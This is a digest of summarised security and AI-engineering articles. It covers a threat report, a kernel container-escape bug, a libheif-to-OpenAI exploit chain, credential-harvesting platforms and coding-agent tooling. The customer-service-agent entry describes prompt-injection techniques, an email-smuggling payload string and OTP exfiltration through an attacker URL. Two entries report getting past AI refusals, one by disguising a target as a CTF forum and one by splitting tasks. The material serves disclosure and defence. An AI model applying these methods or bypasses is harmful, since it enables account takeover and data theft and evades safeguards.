    Takeaway: Never allowlist by destination IP on shared CDN infrastructure, keep DNS, SNI and Host consistent across layers, and drop spoofed source addresses from guests. A passing time-boxed test does not prove the boundary is sound.

  • Expanding the Cyber Verification Program
    summary

    TL;DR: On October 6, 2026 Anthropic expanded its Cyber Verification Program (CVP), giving vetted security professionals frontier models with fewer cyber-blocking classifiers.

    • Merger: Combines Project Glasswing (Claude Mythos access for critical-software organisations) with the original CVP (reduced safeguards on Opus and Sonnet for vetted teams).
    • Rationale: Cybersecurity is inherently dual use, so generally available models ship conservative safeguards that block most offensive-looking work. All tiers include Claude Opus 5.5, Sonnet 5.5, Mythos 5.1 and future models.
    • Defense Access: SOC work, incident response, malware reverse engineering, vulnerability validation. Open to company, nonprofit, university and government security teams, critical infrastructure operators such as hospitals and utilities, small security firms, open-source maintainers and individual researchers with a disclosure record. Responses promised within days.
    • Red Team Access: Adds authorised penetration testing against systems the organisation may test. Limited to in-house, government and pentest-firm red teams (not individuals); review takes a few weeks; still blocks actions like deploying ransomware or damaging physical systems.
    • Specialized Access: Fewest blocks, for a small set of organisations testing safety-critical systems such as flight software, power grids, telecom and interbank networks. Each applicant is reviewed with the US government; existing Glasswing members move here automatically.
    • Data retention: Enrolled organisations must retain data so Anthropic can monitor misuse. Enterprise Frontier Safeguards, later in fall 2026, will allow storage in customer-controlled cloud infrastructure.
    • Numbers: On CyScenarioBench with Opus 5.5, every task was blocked at the first prompt without CVP; 46 of 50 trials were blocked at some point under Defense Access; Red Team Access completed 34 of 50, matching the unrestricted 67.6% success rate. Glasswing partners verified at least 129,000 vulnerabilities between April and July 2026, Anthropic’s own open-source scanning found 5,500 more, over 33,000 rated critical or high, called a lower bound.
    • Enrolment: Apply via Anthropic’s portal with verification and proof of security controls; admins must assign the program to specific workspaces; existing members are automatically evaluated for the new models. There is a false-positive appeal form.
    • Availability: Claude Platform, Google Vertex AI and Microsoft Foundry; on Amazon Bedrock only for customers eligible for Enterprise Frontier Safeguards.

    Takeaway: Routine code review, patching known issues and alert triage still work on standard models. Malware analysis or red-team automation will hit blocks unless your team enrols, and enrolment means accepting data retention for misuse monitoring.

  • The AI SDLC Transformation Playbook
    summary

    TL;DR: Atlassian’s playbook argues an AI-native SDLC is more than handing developers coding agents: once coding goes asynchronous and multi-threaded, the bottleneck moves to planning, design, review and maintenance.

    • Structure: Seven pillars, two platform investments and five workflow shifts, all depending on work being captured in systems of record.
    • Context graph: Links repositories, work items, docs, standards, meeting recordings and chat behind a permissions-aware layer. Atlassian’s Teamwork Graph draws on more than 50 sources, is reachable via its apps, IDEs, terminals, MCP or CLI, and feeds agent activity back so context compounds.
    • Measurement: Pair system data with qualitative developer surveys; Atlassian uses DX, combining data from Jira, Cursor and Claude Code.
    • Planning and design: Agents synthesise customer needs and code context into specs while humans refine and decide (Jira Product Discovery, Jira). Design becomes a continuous thread with live prototypes, designers contributing UI code, and Loom video feedback turned into revision prompts.
    • Development and review: Quality depends on the context supplied to agents; speed depends on orchestrating several. AI checks changes first against centrally defined standards, humans make the final call (Atlassian’s AI Reviewer alongside tools such as Cursor).
    • Maintenance: Agents classify errors, draft root-cause analyses and handle routine fixes, using Jira Service Management and “governed agent loops” that scan the backlog and codebase.
    • Numbers (vendor-internal): Agents with Teamwork Graph access were 44% more accurate with 48% fewer tokens; issue cycle time fell from 11.5 to 6.7 days; Jira agent loops automatically resolve 51% of potential vulnerabilities. Cites a 2026 survey of more than 1,000 software professionals, The Agentic Pivot.
    • Five moves: Anchor on connected, permissioned context; invest in measurement early; start deep in one high-value workflow; keep humans accountable with scoped, auditable agent loops; change rituals, roles and metrics rather than just buying tools.

    Takeaway: The piece promotes Atlassian products, but the point holds: treating AI adoption as a licence purchase yields incremental gains. The leverage is permissioned context, centrally defined review standards, and measured, auditable agent automation for KTLO and vulnerability backlog work.

15.09.2026

  • Countering Misuse of AI: September 2026 Threat Intelligence Report
    summary

    TL;DR: Anthropic’s September 2026 threat report covers Haiku, Sonnet and Opus misuse it disrupted from December 2025 to August 2026, arguing AI erased the gap between state operations and lone operators.

    • Scope and thesis: Cyber operations, AI supply-chain abuse, influence operations, surveillance, weapons, biology, fraud and illicit distillation. Sophistication no longer indicates who is behind an attack; autonomy raises scale and speed more than severity.
    • GTG-20006: Russian state-nexus group linked to Midnight Blizzard used Claude to build phishing infrastructure and tooling and rebuild implants until undetected. Targeted more than 20 organisations; breached a North African government authority holding over 300,000 identity records.
    • GTG-50014: ShinyHunters affiliates downloaded and decompiled 1.8 million Android APKs and scanned them for secrets with TruffleHog. One intrusion harvested over 2,100 Azure AD token sets across more than 40 tenants in about 34 hours.
    • GTG-10007: A Chinese-speaking group ran “agent swarms” with a lead agent, persistent campaign memory and an exploit foundry producing more than a dozen possible network-appliance zero-days in a month against about 50 organisations.
    • GTG-50020: Prompt injection against an AI vendor’s evaluation sandbox yielded production API keys, then about 30 AI companies were hit in four days trying to reach a pre-release Claude model; Anthropic was not compromised. Also: a fake cheap-Claude reseller harvesting credentials, and French-speaking hacktivists exploiting a previously undocumented WordPress re-installation race condition to steal about 140,000 political campaign records.
    • Influence ops: A Russian operation in the Central African Republic via a local radio station; a French ad agency running about 70 fake news sites with at least 8,913 articles in about 20 languages; an Istanbul firm’s Malaysian election platform with about 1,000 fake X accounts.
    • Surveillance and weapons: Iranian units built case-management and phishing tooling; a Malian SIM-tracking system covered about 25 million SIM cards; several Chinese profiling efforts. In one Iranian case, splitting tasks into smaller sessions got past safeguards that refused 9 of 10 direct requests. A Yemeni cell used Claude Code as guidance-software engineer for rockets and missiles; a Russian freelance team built an autonomous FPV drone swarm.
    • Fraud and distillation: A Chinese app studio ran more than 4,700 AI dating personas engaging over 25,000 people with about 2.36 million messages in two weeks. Distillation is attributed to seven China-based labs, including Alibaba peaking near 3 million exchanges a day from over 3,500 accounts, and Moonshot, DeepSeek, Zhipu and Xiaomi relaying customer traffic through proxy “transfer stations.”
    • Response: Static detections cannot keep up with AI-driven adaptation; Anthropic calls for account and institutional signals, retained data for misuse detection, trusted access programs and threat sharing, and published an IOC list.

    Takeaway: Treat AI API keys and agent integrations as production credentials, and scan your own apps, containers and repos for exposed keys before attackers do. Buy AI access only through authorised channels, and expect token theft and appliance exploitation at machine speed.

  • How Cloudflare Enforces Engineering Standards Using AI
    summary

    TL;DR: Cloudflare describes the Cloudflare Codex, a governed set of engineering standards that AI agents retrieve and apply during development, review and incident follow-up.

    • Problem: Guidance was scattered across docs, repos, chat and people’s heads; engineers could not tell what was current or authoritative, reviewers could not check every requirement, and drift built up between projects.
    • Structure: Domains such as architecture, security, reliability, TypeScript and Rust, each with an owner. Standards are RFCs using RFC 2119 MUST and SHOULD keywords plus front-matter metadata.
    • Process: Anyone with domain competence proposes an RFC via merge request; it goes through review rounds and the domain owner approves it before publishing to an internal Astro site.
    • Staged enforcement: An approved RFC only produces non-blocking findings. MUST violations block merges only after the RFC is explicitly promoted to “enforced,” giving teams time to adapt.
    • Context handling: 60+ RFCs would overwhelm a model’s context window, so an agent extracts each MUST and SHOULD into structured JSON with a stable slug that survives RFC edits, enabling lazy loading and long-term tracking.
    • AI code reviewer: Checks merge requests for Codex compliance and pulls full RFC text only when needed. Since launch it flagged close to 230,000 violations; almost 16,000 withheld approval for breaking MUST statements on enforced RFCs.
    • Linters and CLI: Mechanically checkable rules go into linters (oxlint for TypeScript first, Rust in progress, Go planned). A local CLI runs the same OpenCode-based agents on your diff to skip the CI round trip.
    • Spec and incident reviewers: The spec reviewer (Cloudflare Worker, D1 state, AI Gateway, Cron Trigger) reviewed nearly 600 design specs across over 3,200 invocations since May 2026; findings 65% major, 29% minor, 6% critical. The incident report reviewer assessed over 200 postmortems, catching missing action items, incomplete timelines and omitted detection signals; it is now mandatory for high-severity incidents in central review.
    • Next: Cover the whole SDLC, let agents propose fixes with engineers still approving, and extend the Codex to product, security, compliance and trust and safety.

    Takeaway: Write standards as machine-parseable RFCs with stable IDs and deliver them at the point of work through AI review. Push anything deterministic into linters, start advisory, block only after explicit promotion, and keep humans owning final approval.

  • Hacking AI Customer Service Agents
    summary

    TL;DR: Intigriti’s write-up of Inti De Ceukelaire’s DEF CON 34 Bug Bounty Village talk shows AI customer service agents grow as an attack surface as they gain tools.

    • Thesis and payout: Human oversight does not fix it, because risk appears exactly where a human stops deciding and an over-privileged agent acts. The research reportedly earned over $50,000 in bounties over a few weekends without Burp Suite or automated scanners.
    • Email spoofing: A spoofed From header made chatbots treat a message as the victim’s, enabling phishing from the company’s own support address and leaking billing or profile data to an attacker via CC. RFC 822 allows multiple From headers, so SPF can validate one address while the agent looks up the account under another and replies to an attacker-controlled Sender. A signed victim email can be produced without spoofing by triggering an out-of-office auto-reply whose subject carries the attacker’s instruction.
    • Auth weaknesses: Adding a comment to an email address made the rate limiter see a new identity, giving three extra MFA guesses. IVR checks based on caller ID, last four SSN digits or emailed OTPs were spoofable or brute-forceable, and channel switching reset counters.
    • Email address smuggling: An RFC 5322 comment like attacker(&email=victim@victim.org&)@attacker.com in the local part is stripped by the mail layer but passed raw by the agent into a query string, so the backend returns the victim’s profile.
    • OTP exfiltration: Prime the agent to watch for the next email, trigger a real password reset, then trick it into fetching an attacker URL with the OTP as a subdomain visible in DNS logs. A Chrome built-in AI variant was marked Won’t Fix by Google.
    • Asymmetric messaging: Human and agent see different content via differing text/plain and HTML parts, zero-opacity CSS or user-agent-dependent images. Forged quoted replies posing as earlier operator approvals produced a $4,200 refund. Path traversal in an offer ID swapped a real API response for a crafted JSON file uploaded as an avatar.
    • Spray and poisoning: Blind-copying predictable aliases such as support-1000 to support-1099 sprayed a prompt injection into any live ticket thread. A forum comment about a nonexistent promo code was later cited as fact by the RAG crawler. Registering a username like “sitemap” put attacker content where crawlers fetch automatically, with loc tags enabling SSRF and XXE.
    • Defenses: Never treat From headers as identity; normalise identifiers identically across mail, agent and backend layers; rate-limit per account, not per input string. Treat email bodies, quoted history, KB entries and crawled pages as untrusted.

    Takeaway: Give agent tools least privilege with stronger confirmation for sensitive actions, restrict agent URL fetching and sanitise IDs. Reserve sensitive usernames and paths, and keep official content separate from user-generated content in RAG pipelines.

  • HarnessTax: How Much Does the Harness Matter for Coding Agents?
    summary

    TL;DR: HarnessTax, from UC Berkeley and Arena Intelligence researchers including Ion Stoica and Matei Zaharia, measures how much the coding-agent harness matters versus the model: little for success, a lot for cost.

    • Setup: 21 model-harness pairs from seven models and three harnesses (Claude Code, Codex CLI, minimal open-source Pi) on the same 30 randomly sampled tasks from SWE-bench Lite and Terminal-Bench 2.0. A harness is the software managing a model’s tools, context and execution.
    • Method: Three runs per task at the harness’s high-effort setting with a 100-turn cap. Costs use a fixed direct-API price list dated September 1, 2026; confidence intervals use 10,000 bootstrap resamples.
    • Finding 1, cost: Harness barely moves success but the same model can reach similar success at up to 5x the cost. Claude Fable 5 solved 97.8% of SWE-bench Lite in Claude Code versus 96.7% in Codex and Pi, yet Claude Code cost about twice Pi ($1.33 versus $0.67).
    • Cost ratios: Across shared models, Claude Code cost about 2.0x Pi and 1.6x Codex on SWE-bench Lite and 1.5x Pi on Terminal-Bench 2.0. The harness effect on success stayed within about ±2% and ±5% respectively.
    • Finding 2, simple works: Pi has only four tools (read, write, edit, bash) yet sits on the cost-success Pareto frontier on both benchmarks. Turn counts were nearly identical (15.4 versus 15.3 per attempt for Fable 5), but Claude Code’s initial context averaged more than 10x Pi’s due to longer instructions and larger tool schemas, which helps explain higher spend per turn.
    • Finding 3, vendor harness not best: Across six Anthropic and OpenAI models, an alternative harness gave the best observed success in nine of twelve comparisons. Sonnet 4.6 hit 68.9% in Codex versus 66.7% in Claude Code; GPT-5.6 Sol hit 83.3% in Pi versus 78.9% in Codex on Terminal-Bench 2.0, at roughly half the cost.
    • Other models: GPT-5.6 Luna was cheapest on both benchmarks; open-weight Kimi K3 came close to the frontier.
    • Limits: Results cover two open benchmarks the models may have seen in training and may differ on real workloads. The authors plan to release profiling traces.

    Takeaway: Benchmark the same model across harnesses on your own workloads, and watch initial context size and tool schema bloat as cost drivers. Do not assume the vendor’s own harness is the best or cheapest pairing.

  • Containers Are No Longer a Security Boundary
    summary

    TL;DR: depthfirst researcher Zhenpeng (Leo) Lin argues containers are no longer a security boundary, since they share one Linux kernel and AI makes kernel bugs far easier to find and exploit.

    • The bug: CVE-2026-80521, a heap use-after-free in the kernel’s AF_UNIX garbage collector for SCM_RIGHTS messages (which pass file descriptors between sockets), affecting struct unix_vertex.
    • Discovery: Found with dfs-large1, depthfirst’s in-house vulnerability-detection model, plus their harness. Used to win a Google kernelCTF slot with a zero-day exploit on July 24, 2026.
    • Root cause 1: The kernel publishes SCM graph edges before queuing the socket buffer carrying the references. Because unix_add_edges() briefly drops unix_gc_lock, the garbage collector can run in that window.
    • Root cause 2: unix_del_edge() can free a vertex without removing it from its scc_entry ring. If another socket in the same strongly connected component survives, the next GC pass walks the stale ring via unix_walk_scc_fast() and dereferences freed memory.
    • Reach: Triggerable from ordinary unprivileged system calls, so namespaces, cgroups and seccomp-bpf do not stop it. Affects container runtimes and OS-level sandboxes such as nsjail, Firejail and Bubblewrap.
    • Timeline: Reported to security@kernel.org on August 5; OpenAI’s Kyle had reported the same bug; upstream patch landed August 6. At publication on September 22 it was still unpatched in Ubuntu 26.04. depthfirst released a container escape exploit for Ubuntu 26.04 and another for CVE-2026-52910 on Ubuntu 24.04.
    • Trend: 5,976 unique Linux kernel CVEs published January 1 to September 16, 2026; August alone had 1,650, over 27% of the year’s total. Of 36 publicly disclosed kernelCTF CVEs, 13 were reachable from ordinary interfaces such as epoll, futex, POSIX timers and AF_UNIX sockets.
    • Recommendation: Stop relying on a shared kernel to isolate sensitive, untrusted or multi-tenant workloads; move them into microVMs such as Firecracker or Kata Containers, which give each workload its own kernel.

    Takeaway: On Kubernetes or CI runners, assume a determined tenant can escape a container and put untrusted code (CI jobs, AI agent sandboxes, customer workloads) behind a VM boundary. Track the gap between upstream kernel fixes and your distribution’s patched packages.

  • Hacking OpenAI: Heap Overflow and SSO Misconfiguration to Compromise Internal Repositories
    summary

    TL;DR: Hacktron AI chained a libheif memory-corruption bug into OpenAI employees’ ChatGPT and Codex accounts and OpenAI’s internal repositories in under 72 hours, arguing exploit complexity no longer protects ordinary software.

    • Thesis: AI removed the protection that exploit complexity used to give; “security assumptions must catch up with attacker capabilities.”
    • Entry point: A heap buffer overflow in libheif, reachable because Discourse hands HEIC/HEIF uploads to ImageMagick, giving attacker-controlled files out-of-bounds read and write primitives during decoding.
    • Patch gap: Upstream fixed the bug the year before, but it was never labelled a security fix and got no CVE. Discourse’s Debian 12 image still shipped libheif 1.19.7; Debian only published DSA-6417-1 on August 8, 2026.
    • Exploit build: Opus 4.8 produced a working exploit with ASLR disabled but could not make it reliable with ASLR on. Claude Opus 5, released the same evening, built a working ARM64 exploit in about three hours. The team ported it to x86-64 and Discourse’s jemalloc setup, reaching reliable local RCE with ASLR enabled by 06:00 UTC on July 25.
    • Model use: Claude ran in an autonomous goal loop against their own Discourse Cloud instance. The model refused to write exploits for remote targets, so they proxied traffic to make the target look like a CTF forum. Models also helped with privilege escalation, lateral movement and evading defenses, though skilled human steering was still needed.
    • Pivot: From RCE on community.openai.com, they abused “Sign in with OpenAI” SSO to take over an employee’s ChatGPT and Codex accounts. That Codex account was linked to OpenAI’s GitHub organization, used to open a harmless PR in the internal monorepo.
    • Disclosure: OpenAI confirmed a fix about 14 hours after the Bugcrowd report and paid $6,500, covering only the OpenAI-side SSO finding, since the Discourse-hosted forum was out of scope. Discourse published GHSA-vhm9-85gw-x335 on July 28; its fix included sandboxing image processing.
    • HEIF Heist: A wider two-month project: three researchers spent under $3,000 in tokens and adapted the exploit to each new target in one or two days. Named targets include Slack, Meta, GitHub Enterprise, Rails and Next.js/Astro/Gatsby. Of thousands of malicious images sent, only Shopify noticed, because its image processors kept crashing.
    • Fixes: For self-hosted Discourse, rebuild the container image; a web update alone does not replace the vulnerable native library. Update libheif and libde265 and check distribution advisories, since backported fixes may hide behind old version numbers. Disable HEIF/AVIF decoding where not needed, restrict formats with an ImageMagick policy, or run image processing in hardened, ephemeral sandboxes.

    Takeaway: Patch native image libraries by rebuilding images, and sandbox image processing. Treat SSO-linked internal tools, such as coding agents connected to GitHub, as part of the blast radius of any peripheral web app.

  • Attacker Infrastructure, but Vibe-Coded: Tracking the Evolution of Credential Harvesting Platforms
    summary

    TL;DR: Datadog Security Labs researcher Julie Agnes Sparks analyses Loot and UltraVault, two “vibe coded” attacker credential harvesting platforms that treat LLMjacking as a product category.

    • Context: Tracked since July 2026; both treat LLMjacking alongside cloud, SaaS and database access. Builds on Google Threat Intelligence Group’s report of an exposed “Recon” framework managing more than 23,800 harvested secrets.
    • Exposure: Both dashboards were reachable without authentication, so anyone could browse them, search by victim domain and filter by category.
    • Loot: A simple plaintext credential catalog with a search box and validate button, holding 26,733 keys. AI category: 1,778 records, 196 live, across 15 providers, including 699 OpenAI keys (93 live), 666 Gemini (55 live) and 114 Anthropic (10 live). The OpenAI tab shows which models each key reaches and remaining credit. Parsing is poor, with misclassified keys and non-credential entries, yet many still work.
    • UltraVault: A much more capable post-exploitation console claiming 42,286 secrets, about 2.7% live. Targets are grouped under exploit chains such as react2shell (CVE-2025-55182), wp2shell, xss2shell and joomla2shell.
    • UltraVault features: An /api/pairs endpoint matches AWS access-key IDs and secret keys collected from different dumps, validates the rebuilt pair and returns account ID, ARN and region. A matrix evaluates 14 local privilege-escalation bugs with go/no-go verdicts. It also re-opens WordPress shells, mints persistent credentials, and runs cloud and Kubernetes recon from compromised Node processes.
    • Bedrock abuse: The host serving both dashboards validated stolen Amazon Bedrock credentials: GetCallerIdentity, then ListFoundationModels and ListInferenceProfiles, then bursts of dozens of InvokeModel calls to several Anthropic models across regions in under a minute. In September the actor added DeepSeek, Mistral, Kimi and GLM-5.
    • Fingerprints: A Boto3 user agent containing “kali-cloud”, a bare Python-urllib/3.13 user agent, and validation of temporary STS keys with the ASIA prefix.
    • Detections: Alert on Bedrock model enumeration with long-term keys, multi-region InvokeModel bursts, InvokeModel calls from new ASNs, and impossible travel on IAM user keys.
    • Ethics: Datadog withheld indicators to protect victims and did not use any exposed credentials.

    Takeaway: LLMs let even unskilled operators build full validation and post-exploitation pipelines, so leaked keys get tested and used fast. Treat any leaked AI provider key as a direct cost and abuse risk and deploy the Bedrock detections above.

  • laya: Non-Autoregressive System 1 Decision Engine for Typed Decisions in a Single Forward Pass
    summary

    TL;DR: Laya is an Apache-2.0, multilingual, non-autoregressive “System 1” decision engine that answers typed questions about an input in a single encoder forward pass instead of generating text.

    • Inputs and types: Takes text, an email, a ticket or JSON. “choice” picks one label from a set with a probability per option; “score” places the input on an ordinal scale; “noul” returns the probability a yes/no statement is true.
    • Checkpoints: An English model on ModernBERT-large (421M parameters), a multilingual mmBERT-base model (322M parameters, up to 8,192 tokens), and a model fine-tuned for typed decisions.
    • Router: Pure-Python; detects script and language and sends each request to the right checkpoint, keeping at most two models loaded by default.
    • Calibration caveat: Probabilities are trained with RLCD against strictly proper scoring rules, yet the README admits both shipped checkpoints are over-confident and the multilingual one has no fitted temperatures. Calibrate thresholds on your own data.
    • Interfaces: Python SDK, laya CLI with batch and preset modes, FastAPI server with a web playground and Jev-compatible /v1/systemone endpoints, and an MCP server. Integrates with LangChain/LangGraph, LlamaIndex and CrewAI; client SDKs for TypeScript (including local ONNX), Go, Rust, Java and .NET.
    • Features: Audit and redaction hooks, schema-driven decide() with JSON Schema or Pydantic, windowed long-document prediction, abstention via min_confidence, and presets for routing, guardrails, moderation, triage and email.
    • Numbers: On a T4 GPU, 33 ms per single question or 7.2 ms per question batched. Routing lifts XNLI accuracy on 14 non-English languages from 0.521 (English checkpoint) to 0.731. The multilingual checkpoint is usable (more than 3x random) in 48 of 51 languages. The typed-decisions fine-tune scores 0.766 on its 2,000-decision benchmark versus 0.362 for the base model.
    • Limits: Accuracy gets less predictable beyond about 4,000 tokens of context; the HTTP server caps choice questions at 100 options.
    • Deployment: Runs on CPU, Apple MPS or GPU; installs with pip and also ships a Docker Compose setup and a NixOS module.

    Takeaway: A cheap, self-hostable way to run classification, guardrail, moderation or alert-triage decisions at millisecond latency without paying for LLM generation. Treat its confidence scores as a ranking signal to calibrate on your own data, not proof an answer is correct.

  • Throw Away the Playbook: Security in the AI-Native SDLC
    summary

    TL;DR: Marco Lancini argues security teams should discard 20-plus years of secure-SDLC playbooks and write new ones for AI-native development, where agents do much of the work.

    • Starting point: Anthropic’s “AI-Native SDLC Playbook”, which Lancini, a director of security, calls mandatory reading for engineers and security staff.
    • Broken assumptions: old playbooks assumed writing code was the slow, expensive step and humans did every step; neither holds once agents do much of the work.
    • New model: the SDLC becomes a loop across six stages, an agent embedded at each, with handoffs carried by versioned intent.md, spec.md, plan.md, the diff and review findings.
    • Core distinction: skills are advisory, hooks are enforceable; a skill makes violations rare but guarantees nothing, so must-hold policies need a deterministic hook or a PR re-check pass.
    • Example skill: secure-api-review requires gateway JWT on every endpoint except health checks, OpenAPI body validation rejecting unknown fields, audit events on state changes, and no PII in logs or errors.
    • Hook placement: build-time hooks stay fast and scoped to the changed file; heavier checks such as the full test suite belong at commit or PR time.
    • His setup: blocks rm -rf, pushes to main and terraform apply, whatever a prompt says.
    • Agent review and on-call: agents run the same policy passes on every PR so humans judge only intent and risk; on-call agents get severity-tiered permissions: log only, diagnose read-only, or act via PR or runbook.
    • Limits: compliance is the main blocker, since many certifications require two-person peer review; he has not seen any organisation run this at scale with auditors, and ends asking practitioners where it held up or failed.

    Takeaway: Encode critical security rules as skills backed by hooks, and version specs, prompts and skill versions as an audit trail. Start agent first-response with the lowest-risk actions, and talk to auditors before replacing human review.

  • Test-Driving Jev on a Security Task: Identity Resolution
    summary

    TL;DR: Vincenzo Iozzo tests Jev, a model returning calibrated yes/no probabilities, on identity resolution across company systems, and finds it accurate, stable and far cheaper than frontier LLMs.

    • Problem: employees often have a dozen or more accounts across Google, Okta, Slack, GitHub, AWS IAM, Salesforce, Active Directory and B2B guest directories, many sharing no identifier.
    • Pipeline: group identical emails without a model, shortlist 20 candidates per account with weighted Jaro-Winkler similarity, let a model decide matches, then merge accepted links with union-find.
    • Comparison: prompted gpt-oss-20b baseline, Claude Opus 5.5, Sonnet 5, Haiku 4.5, Fellegi-Sunter (the method behind Splink) and gradient-boosted trees; graded by a blind Opus 5.5 judge checked against about 600 manually linked identities.
    • Small set: on about 630 manually linked accounts, Jev reproduced correct identities and fixed baseline wrong merges like rob.stone and rick.stone, at $0.16 and about 0.25 s per account versus about $22 and 3.5 s for Opus.
    • Large sets: on four environments of 30,000 to over 100,000 accounts, Jev hit 95% precision and 96% relative recall versus 82% and 71% for the baseline; F1 was 0.948.
    • Wins and exceptions: in a hybrid AD org it found pairs like “Doe, Jane” and JDOE@corp.example the baseline missed; in an org cluttered with duplicate B2B guest invitations the baseline had better recall.
    • Cost: per 1,000 accounts Jev cost $0.62 versus $11.67 for Haiku and $28.86 for Sonnet (19x and 47x more); Claude models scored slightly higher on the small set but over-linked, e.g. people sharing only a first name.
    • Classic linkage: nearly matched Jev on large regular directories at no cost, but linked msmith and msmith1 and two unrelated purchases@ mailboxes, and missed 74 links Jev found, only 3% sharing an exact identifier.
    • Hybrid and stability: a Sonnet second opinion only in Jev’s 0.2 to 0.5 “maybe” zone raised messy-org F1 from 0.650 to 0.860 at 4 to 7 times Jev’s cost; five runs gave Fleiss’ kappa about 0.98 to 0.99; caveats: the judge is itself an LLM, large environments were sampled, and only one prompt wording was tested.

    Takeaway: Treat a per-pair probability as a control: set a threshold, route uncertain pairs to humans or a pricier second-opinion model, and calibrate on a few hundred of your own labels (the article cites isotonic regression on about 500). Settle exact matches with free deterministic pre-passes before any model call.

  • gh-secure: GitHub CLI Extension to Enable Security Features Following GitHub Security Lab Best Practices
    summary

    TL;DR: gh-secure is a GitHub Security Lab CLI extension that enables recommended repository security features in one command, aimed mainly at public open source maintainers.

    • Pitch: “protect your project in 2 minutes”, claiming no security or coding expertise needed.
    • Branch protection: blocks force pushes and branch deletion; warns first if active rulesets exist, to avoid conflicts with legacy protection.
    • Reporting and secrets: private vulnerability reporting adds a security policy and private channel; secret scanning with push protection blocks commits with credentials across a large set of token types.
    • Dependencies and code: Dependabot flags vulnerable dependencies and opens update PRs; CodeQL code scanning checks code and pull requests for common vulnerabilities.
    • Usage: install with gh extension install GitHubSecurityLab/gh-secure; gh secure is interactive, gh secure --yes enables everything without prompts.
    • Options: pick features with bp, vr, ss, dep and cs, target another repo with --repo owner/repo, preview with --dry-run, and check state with gh secure status.
    • Requirements: an authenticated gh and admin or maintain permission, otherwise 403 errors; organisation repos may need the admin:org scope.
    • Limits: org policies can restrict branch protection, code scanning depends on supported languages and GitHub plan, branch protection may force PR-based workflows, and CodeQL findings do not block merges unless configured.
    • Extras: every setting can be reverted in repository settings, and the tool can be driven from Copilot CLI or other AI assistants.

    Takeaway: Use gh-secure to apply a fast baseline across side projects or many small repos, scripting audits with --dry-run and status. It raises the floor but, as its FAQ says, does not guarantee security.

  • herdr: The Runtime Your Coding Agents Live On
    summary

    TL;DR: herdr is an Apache-2.0 terminal runtime for coding agents, a single Rust binary that does tmux’s job while tracking which agent is waiting on you.

    • Scope: runs inside your existing terminal and manages panes, sessions and multiple machines rather than replacing the terminal emulator.
    • Persistence: a background server keeps terminals alive when the client closes or SSH drops; detach with ctrl+b q, reattach by running herdr again.
    • Restarts: after a server or machine restart it restores the saved layout and resumes supported agent sessions, but original processes do not survive.
    • Multi-machine: local work and saved SSH machines share one window, with a combined agent list and independent reconnects.
    • Status tracking: each pane is labelled working, blocked or idle, and herdr flags agents that stopped and need input.
    • Orchestration: agents control herdr via a CLI and socket API to spawn panes, prompt other agents and wait until another agent is actually blocked.
    • Agents and UI: runs Claude Code, Codex, Cursor, OpenCode, Grok and others unmodified, managing their terminals rather than wrapping them; tmux-style prefix keys, mouse actions and plugins.
    • Install: install script, Homebrew (brew install herdr), mise, prebuilt release binaries, beta Windows PowerShell installer, or cargo build --release; repo has a Nix flake and what appears to be a Ghostty-based terminal emulation crate.
    • Status: about 45.5k stars at capture, README referenced v0.4.0; Windows support is beta and supported platforms are not listed in detail.

    Takeaway: For running several coding agents locally or on remote dev boxes, herdr cuts tab-hopping and survives SSH drops. Prefer the package manager or a verified release binary over the curl-pipe-to-shell installer.

  • GitHub Actions SHA Pinning, Org-Wide
    summary

    TL;DR: Semgrep’s Leif Dreizler describes enforcing full-length commit SHA pinning for GitHub Actions across about 350 repositories, with tooling, numbers, breakages and a rollout plan.

    • Motivation: the early-2025 tj-actions/changed-files compromise, where attackers moved release tags to a malicious commit so every tag-referencing workflow ran attacker code.
    • Setting: GitHub’s “Require actions to be pinned to a full-length commit SHA” exists at repo and org level and blocks any run using an unpinned action.
    • What must go: direct tags like actions/cache@v4, branch refs like @main, and transitive unpinned actions called inside pinned ones, which caused most breakage.
    • Tooling: pinact converts tags to SHAs with a Renovate-readable # v4 comment; Renovate, chosen over Dependabot mainly because it also manages Helm charts, handles branch refs and updates.
    • Update policy: Semgrep-authored actions update immediately, third-party minor and patch wait a 7-day cooldown, majors arrive in separate PRs.
    • Automation: Semgrep Agentic Workflows detected and pinned in parallel, a Claude-built local dashboard tracked progress, a cron job enabled the setting on new repos every 15 minutes, and a monitor watched failures.
    • Numbers: about 80 PRs in roughly two days; about 100 of 350 repos needed changes, about 60 only direct tags (batch-fixed); roughly 80% of non-archived repos never ran an action; around 220 dead repos archived; a week and a half of monitoring caught two failures.
    • Edge cases: composite actions must be pinned, reusable workflows need not be but their actions must; fix transitive deps by upgrading, upstream PR or replacement, e.g. pre-commit/action swapped for plain uv and pre-commit; SLSA GitHub Generator cannot be SHA-referenced and was removed; internal @main actions broke without auto-updates.
    • Gotchas: Renovate needs an auto-approver action where approvals are required and platformAutomerge: false where not; repo-wide CODEOWNERS blocked bot PRs until relaxed for workflow files; GitHub has no aggregate failure view and no audit-only or exemption mode.

    Takeaway: Follow the ten-step rollout: announce with real error messages, auto-enrol new repos, enable first where no actions run, add pinning rules to AI assistant instructions, pick an update bot, pilot and monitor, expand gradually, announce again, then flip the org-wide switch.

  • open-code-review: Alibaba’s Hybrid Code Review Tool with Deterministic Pipelines and LLM Agent
    summary

    TL;DR: Open Code Review (OCR) is Alibaba’s Apache-2.0 AI code review CLI, combining deterministic file selection with a tool-using LLM agent for low-noise, line-positioned review.

    • Origin: open-sourced from an internal review assistant the README says served tens of thousands of Alibaba developers.
    • How it works: reads Git diffs, or whole files with ocr scan, and sends them to a configurable OpenAI- or Anthropic-compatible LLM via an agent that can read files, search the codebase and view other changed files.
    • Rules: structured, line-positioned comments from a built-in multi-language ruleset covering null pointer errors, thread safety, XSS and SQL injection; custom rules with path filters.
    • Deterministic layer: precise file selection so important changes are not skipped; bundles related files, such as English and Chinese message properties, into one unit for an isolated-context sub-agent; template-based rule matching plus positioning and reflection modules.
    • Agent layer: review-tuned prompts and a toolset derived from production tool-call traces; Alibaba says purely prompt-driven setups like Claude Code with skills suffer incomplete coverage, position drift and unstable quality.
    • Benchmark: on its own AACR-Bench, OCR claims higher precision and F1 than Claude Code on the same model, with about one-ninth of the tokens and faster runs; detailed figures appear only in a chart image.
    • Dataset: 50 repos, 200 real PRs, 10 languages and 1,505 annotated issues validated by more than 80 senior engineers, published on Hugging Face; recall is admittedly lower than general-purpose agents, a deliberate trade of fewer findings for less noise.
    • Usage: npm package @alibaba-group/open-code-review, Git 2.41 or later, Windows, macOS and Linux; ocr review, --from/--to, --commit, --resume and JSON output.
